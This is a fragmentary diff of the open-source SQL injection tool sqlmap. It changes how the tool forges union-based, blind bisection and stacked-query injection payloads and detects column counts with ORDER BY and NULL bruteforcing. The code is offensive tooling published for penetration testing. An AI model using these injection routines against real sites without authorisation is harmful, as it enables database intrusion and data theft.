import socket
|
||||||
import time
|
import time
|
||||||
@@ -227,7 +226,7 @@ class Connect:
|
|||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def queryPage(value=None, place=None, content=False):
|
def queryPage(value=None, place=None, content=False, getSeqMatcher=False):
|
||||||
"""
|
"""
|
||||||
This method calls a function to get the target url page content
|
This method calls a function to get the target url page content
|
||||||
and returns its page MD5 hash or a boolean value in case of
|
and returns its page MD5 hash or a boolean value in case of
|
||||||
@@ -270,7 +269,7 @@ class Connect:
|
|||||||
|
|
||||||
if content:
|
if content:
|
||||||
return page, headers
|
return page, headers
|
||||||
elif page and headers:
|
elif page:
|
||||||
return comparison(page, headers, content)
|
return comparison(page, headers, getSeqMatcher)
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -70,13 +70,25 @@ def __goInference(payload, expression):
|
|||||||
return value
|
return value
|
||||||
|
|
||||||
|
|
||||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None):
|
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None):
|
||||||
outputs = []
|
outputs = []
|
||||||
|
origExpr = None
|
||||||
|
|
||||||
for field in expressionFieldsList:
|
for field in expressionFieldsList:
|
||||||
output = None
|
output = None
|
||||||
|
|
||||||
expressionReplaced = expression.replace(expressionFields, field, 1)
|
if field.startswith("ROWNUM "):
|
||||||
|
continue
|
||||||
|
|
||||||
|
if isinstance(num, int):
|
||||||
|
origExpr = expression
|
||||||
|
expression = agent.limitQuery(num, expression, field)
|
||||||
|
|
||||||
|
if "ROWNUM" in expressionFieldsList:
|
||||||
|
expressionReplaced = expression
|
||||||
|
else:
|
||||||
|
expressionReplaced = expression.replace(expressionFields, field, 1)
|
||||||
|
|
||||||
output = resume(expressionReplaced, payload)
|
output = resume(expressionReplaced, payload)
|
||||||
|
|
||||||
if not output or ( expected == "int" and not output.isdigit() ):
|
if not output or ( expected == "int" and not output.isdigit() ):
|
||||||
@@ -87,6 +99,9 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
|||||||
|
|
||||||
output = __goInference(payload, expressionReplaced)
|
output = __goInference(payload, expressionReplaced)
|
||||||
|
|
||||||
|
if isinstance(num, int):
|
||||||
|
expression = origExpr
|
||||||
|
|
||||||
outputs.append(output)
|
outputs.append(output)
|
||||||
|
|
||||||
return outputs
|
return outputs
|
||||||
@@ -116,7 +131,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
return output
|
return output
|
||||||
|
|
||||||
if kb.dbmsDetected:
|
if kb.dbmsDetected:
|
||||||
_, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
_, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
||||||
|
|
||||||
if len(expressionFieldsList) > 1:
|
if len(expressionFieldsList) > 1:
|
||||||
infoMsg = "the SQL query provided has more than a field. "
|
infoMsg = "the SQL query provided has more than a field. "
|
||||||
@@ -132,8 +147,9 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
# can return multiple entries
|
# can return multiple entries
|
||||||
if fromUser and " FROM " in expression:
|
if fromUser and " FROM " in expression:
|
||||||
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
|
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
|
||||||
|
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
|
||||||
|
|
||||||
if limitRegExp:
|
if limitRegExp or ( kb.dbms == "Microsoft SQL Server" and topLimit ):
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
limitGroupStart = queries[kb.dbms].limitgroupstart
|
limitGroupStart = queries[kb.dbms].limitgroupstart
|
||||||
limitGroupStop = queries[kb.dbms].limitgroupstop
|
limitGroupStop = queries[kb.dbms].limitgroupstop
|
||||||
@@ -144,7 +160,22 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||||
limitCond = int(stopLimit) > 1
|
limitCond = int(stopLimit) > 1
|
||||||
|
|
||||||
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
if limitRegExp:
|
||||||
|
limitGroupStart = queries[kb.dbms].limitgroupstart
|
||||||
|
limitGroupStop = queries[kb.dbms].limitgroupstop
|
||||||
|
|
||||||
|
if limitGroupStart.isdigit():
|
||||||
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||||
|
|
||||||
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||||
|
limitCond = int(stopLimit) > 1
|
||||||
|
elif topLimit:
|
||||||
|
startLimit = 0
|
||||||
|
stopLimit = int(topLimit.group(1))
|
||||||
|
limitCond = int(stopLimit) > 1
|
||||||
|
|
||||||
|
elif kb.dbms == "Oracle":
|
||||||
limitCond = False
|
limitCond = False
|
||||||
else:
|
else:
|
||||||
limitCond = True
|
limitCond = True
|
||||||
@@ -163,6 +194,9 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
|
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
|
||||||
expression = expression[:untilLimitChar]
|
expression = expression[:untilLimitChar]
|
||||||
|
|
||||||
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
stopLimit += startLimit
|
||||||
|
|
||||||
if not stopLimit or stopLimit <= 1:
|
if not stopLimit or stopLimit <= 1:
|
||||||
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
||||||
test = "n"
|
test = "n"
|
||||||
@@ -252,9 +286,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
return None
|
return None
|
||||||
|
|
||||||
for num in xrange(startLimit, stopLimit):
|
for num in xrange(startLimit, stopLimit):
|
||||||
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
|
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num)
|
||||||
|
|
||||||
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
|
|
||||||
outputs.append(output)
|
outputs.append(output)
|
||||||
|
|
||||||
return outputs
|
return outputs
|
||||||
@@ -315,6 +347,9 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
|
|||||||
value = None
|
value = None
|
||||||
|
|
||||||
if inband and conf.unionUse and kb.dbms:
|
if inband and conf.unionUse and kb.dbms:
|
||||||
|
if kb.dbms == "Oracle" and " ORDER BY " in expression:
|
||||||
|
expression = expression[:expression.index(" ORDER BY ")]
|
||||||
|
|
||||||
value = __goInband(expression, expected)
|
value = __goInband(expression, expected)
|
||||||
|
|
||||||
if not value:
|
if not value:
|
||||||
@@ -336,6 +371,8 @@ def goStacked(expression):
|
|||||||
TODO: write description
|
TODO: write description
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
expression = cleanQuery(expression)
|
||||||
|
|
||||||
comment = queries[kb.dbms].comment
|
comment = queries[kb.dbms].comment
|
||||||
query = agent.prefixQuery("; %s" % expression)
|
query = agent.prefixQuery("; %s" % expression)
|
||||||
query = agent.postfixQuery("%s;%s" % (query, comment))
|
query = agent.postfixQuery("%s;%s" % (query, comment))
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -54,12 +54,12 @@ def bisection(payload, expression, length=None):
|
|||||||
finalValue = ""
|
finalValue = ""
|
||||||
|
|
||||||
if kb.dbmsDetected:
|
if kb.dbmsDetected:
|
||||||
_, _, _, _, fieldToCastStr = agent.getFields(expression)
|
_, _, _, _, _, fieldToCastStr = agent.getFields(expression)
|
||||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||||
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
||||||
expressionUnescaped = unescaper.unescape(expressionReplaced)
|
expressionUnescaped = unescaper.unescape(expressionReplaced)
|
||||||
else:
|
else:
|
||||||
expressionUnescaped = unescaper.unescape(expression)
|
expressionUnescaped = unescaper.unescape(expression)
|
||||||
|
|
||||||
infoMsg = "query: %s" % expressionUnescaped
|
infoMsg = "query: %s" % expressionUnescaped
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -97,13 +97,11 @@ def bisection(payload, expression, length=None):
|
|||||||
|
|
||||||
while (maxValue - minValue) != 1:
|
while (maxValue - minValue) != 1:
|
||||||
queriesCount[0] += 1
|
queriesCount[0] += 1
|
||||||
limit = ((maxValue + minValue) / 2)
|
limit = ((maxValue + minValue) / 2)
|
||||||
|
|
||||||
forgedPayload = payload % (expressionUnescaped, idx, limit)
|
forgedPayload = payload % (expressionUnescaped, idx, limit)
|
||||||
|
result = Request.queryPage(forgedPayload)
|
||||||
|
|
||||||
result = Request.queryPage(forgedPayload)
|
if result == True:
|
||||||
|
|
||||||
if result == kb.defaultResult:
|
|
||||||
minValue = limit
|
minValue = limit
|
||||||
else:
|
else:
|
||||||
maxValue = limit
|
maxValue = limit
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -33,14 +33,34 @@ from lib.core.session import setUnion
|
|||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
def __effectiveUnionTest(query, comment):
|
def __forgeUserFriendlyValue(payload):
|
||||||
|
value = ""
|
||||||
|
|
||||||
|
if kb.injPlace == "GET":
|
||||||
|
value = "%s?%s" % (conf.url, payload)
|
||||||
|
elif kb.injPlace == "POST":
|
||||||
|
value = "URL:\t'%s'" % conf.url
|
||||||
|
value += "\nPOST:\t'%s'\n" % payload
|
||||||
|
elif kb.injPlace == "Cookie":
|
||||||
|
value = "URL:\t'%s'" % conf.url
|
||||||
|
value += "\nCookie:\t'%s'\n" % payload
|
||||||
|
elif kb.injPlace == "User-Agent":
|
||||||
|
value = "URL:\t\t'%s'" % conf.url
|
||||||
|
value += "\nUser-Agent:\t'%s'\n" % payload
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
|
||||||
|
def __unionTestByNULLBruteforce(comment):
|
||||||
"""
|
"""
|
||||||
This method tests if the target url is affected by an inband
|
This method tests if the target url is affected by an inband
|
||||||
SQL injection vulnerability. The test is done up to 50 columns
|
SQL injection vulnerability. The test is done up to 50 columns
|
||||||
on the target database table
|
on the target database table
|
||||||
"""
|
"""
|
||||||
|
|
||||||
resultDict = {}
|
columns = None
|
||||||
|
value = None
|
||||||
|
query = agent.prefixQuery(" UNION ALL SELECT NULL")
|
||||||
|
|
||||||
for count in range(0, 50):
|
for count in range(0, 50):
|
||||||
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
|
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
|
||||||
@@ -53,32 +73,39 @@ def __effectiveUnionTest(query, comment):
|
|||||||
query += " FROM DUAL"
|
query += " FROM DUAL"
|
||||||
|
|
||||||
commentedQuery = agent.postfixQuery(query, comment)
|
commentedQuery = agent.postfixQuery(query, comment)
|
||||||
payload = agent.payload(newValue=commentedQuery)
|
payload = agent.payload(newValue=commentedQuery)
|
||||||
newResult = Request.queryPage(payload)
|
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
|
||||||
|
|
||||||
if not newResult in resultDict.keys():
|
if seqMatcher >= 0.6:
|
||||||
resultDict[newResult] = (1, commentedQuery)
|
columns = count + 1
|
||||||
else:
|
value = __forgeUserFriendlyValue(payload)
|
||||||
resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)
|
|
||||||
|
|
||||||
if count:
|
break
|
||||||
for element in resultDict.values():
|
|
||||||
if element[0] == 1:
|
|
||||||
if kb.injPlace == "GET":
|
|
||||||
value = "%s?%s" % (conf.url, payload)
|
|
||||||
elif kb.injPlace == "POST":
|
|
||||||
value = "URL:\t'%s'" % conf.url
|
|
||||||
value += "\nPOST:\t'%s'\n" % payload
|
|
||||||
elif kb.injPlace == "Cookie":
|
|
||||||
value = "URL:\t'%s'" % conf.url
|
|
||||||
value += "\nCookie:\t'%s'\n" % payload
|
|
||||||
elif kb.injPlace == "User-Agent":
|
|
||||||
value = "URL:\t\t'%s'" % conf.url
|
|
||||||
value += "\nUser-Agent:\t'%s'\n" % payload
|
|
||||||
|
|
||||||
return value
|
return value, columns
|
||||||
|
|
||||||
return None
|
|
||||||
|
def __unionTestByOrderBy(comment):
|
||||||
|
columns = None
|
||||||
|
value = None
|
||||||
|
|
||||||
|
for count in range(1, 51):
|
||||||
|
query = agent.prefixQuery(" ORDER BY %d" % count)
|
||||||
|
orderByQuery = agent.postfixQuery(query, comment)
|
||||||
|
payload = agent.payload(newValue=orderByQuery)
|
||||||
|
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
|
||||||
|
|
||||||
|
if seqMatcher >= 0.6:
|
||||||
|
columns = count
|
||||||
|
|
||||||
|
elif columns:
|
||||||
|
value = __forgeUserFriendlyValue(prevPayload)
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
prevPayload = payload
|
||||||
|
|
||||||
|
return value, columns
|
||||||
|
|
||||||
|
|
||||||
def unionTest():
|
def unionTest():
|
||||||
@@ -87,19 +114,26 @@ def unionTest():
|
|||||||
SQL injection vulnerability. The test is done up to 3*50 times
|
SQL injection vulnerability. The test is done up to 3*50 times
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if conf.uTech == "orderby":
|
||||||
|
technique = "ORDER BY clause bruteforcing"
|
||||||
|
else:
|
||||||
|
technique = "NULL bruteforcing"
|
||||||
|
|
||||||
logMsg = "testing inband sql injection on parameter "
|
logMsg = "testing inband sql injection on parameter "
|
||||||
logMsg += "'%s'" % kb.injParameter
|
logMsg += "'%s' with %s technique" % (kb.injParameter, technique)
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
value = ""
|
value = ""
|
||||||
|
columns = None
|
||||||
query = agent.prefixQuery(" UNION ALL SELECT NULL")
|
|
||||||
|
|
||||||
for comment in (queries[kb.dbms].comment, ""):
|
for comment in (queries[kb.dbms].comment, ""):
|
||||||
value = __effectiveUnionTest(query, comment)
|
if conf.uTech == "orderby":
|
||||||
|
value, columns = __unionTestByOrderBy(comment)
|
||||||
|
else:
|
||||||
|
value, columns = __unionTestByNULLBruteforce(comment)
|
||||||
|
|
||||||
if value:
|
if columns:
|
||||||
setUnion(comment, value.count("NULL"))
|
setUnion(comment, columns)
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -159,7 +159,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
|
|||||||
conf.paramNegative = True
|
conf.paramNegative = True
|
||||||
|
|
||||||
if conf.paramNegative == True and direct == False:
|
if conf.paramNegative == True and direct == False:
|
||||||
_, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
|
_, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
|
||||||
|
|
||||||
if len(expressionFieldsList) > 1:
|
if len(expressionFieldsList) > 1:
|
||||||
infoMsg = "the SQL query provided has more than a field. "
|
infoMsg = "the SQL query provided has more than a field. "
|
||||||
@@ -187,7 +187,17 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
|
|||||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||||
limitCond = int(stopLimit) > 1
|
limitCond = int(stopLimit) > 1
|
||||||
|
|
||||||
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
limitGroupStart = queries[kb.dbms].limitgroupstart
|
||||||
|
limitGroupStop = queries[kb.dbms].limitgroupstop
|
||||||
|
|
||||||
|
if limitGroupStart.isdigit():
|
||||||
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||||
|
|
||||||
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||||
|
limitCond = int(stopLimit) > 1
|
||||||
|
|
||||||
|
elif kb.dbms == "Oracle":
|
||||||
limitCond = False
|
limitCond = False
|
||||||
else:
|
else:
|
||||||
limitCond = True
|
limitCond = True
|
||||||
@@ -206,6 +216,9 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
|
|||||||
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
|
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
|
||||||
expression = expression[:untilLimitChar]
|
expression = expression[:untilLimitChar]
|
||||||
|
|
||||||
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
stopLimit += startLimit
|
||||||
|
|
||||||
if not stopLimit or stopLimit <= 1:
|
if not stopLimit or stopLimit <= 1:
|
||||||
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
||||||
test = False
|
test = False
|
||||||
@@ -261,7 +274,21 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
|
|||||||
return
|
return
|
||||||
|
|
||||||
for num in xrange(startLimit, stopLimit):
|
for num in xrange(startLimit, stopLimit):
|
||||||
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
|
if kb.dbms == "Microsoft SQL Server":
|
||||||
|
orderBy = re.search(" ORDER BY ([\w\_]+)", expression, re.I)
|
||||||
|
|
||||||
|
if orderBy:
|
||||||
|
field = orderBy.group(1)
|
||||||
|
else:
|
||||||
|
field = expressionFieldsList[0]
|
||||||
|
|
||||||
|
elif kb.dbms == "Oracle":
|
||||||
|
field = expressionFieldsList
|
||||||
|
|
||||||
|
else:
|
||||||
|
field = None
|
||||||
|
|
||||||
|
limitedExpr = agent.limitQuery(num, expression, field)
|
||||||
output = unionUse(limitedExpr, direct=True, unescape=False)
|
output = unionUse(limitedExpr, direct=True, unescape=False)
|
||||||
|
|
||||||
if output:
|
if output:
|
||||||
@@ -273,7 +300,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
|
|||||||
|
|
||||||
else:
|
else:
|
||||||
# Forge the inband SQL injection request
|
# Forge the inband SQL injection request
|
||||||
query = agent.forgeInbandQuery(expression)
|
query = agent.forgeInbandQuery(expression)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
|
|
||||||
infoMsg = "query: %s" % query
|
infoMsg = "query: %s" % query
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -76,7 +76,7 @@ def checkForParenthesis():
|
|||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == kb.defaultResult:
|
if result == True:
|
||||||
count = parenthesis
|
count = parenthesis
|
||||||
|
|
||||||
logMsg = "the injectable parameter requires %d parenthesis" % count
|
logMsg = "the injectable parameter requires %d parenthesis" % count
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
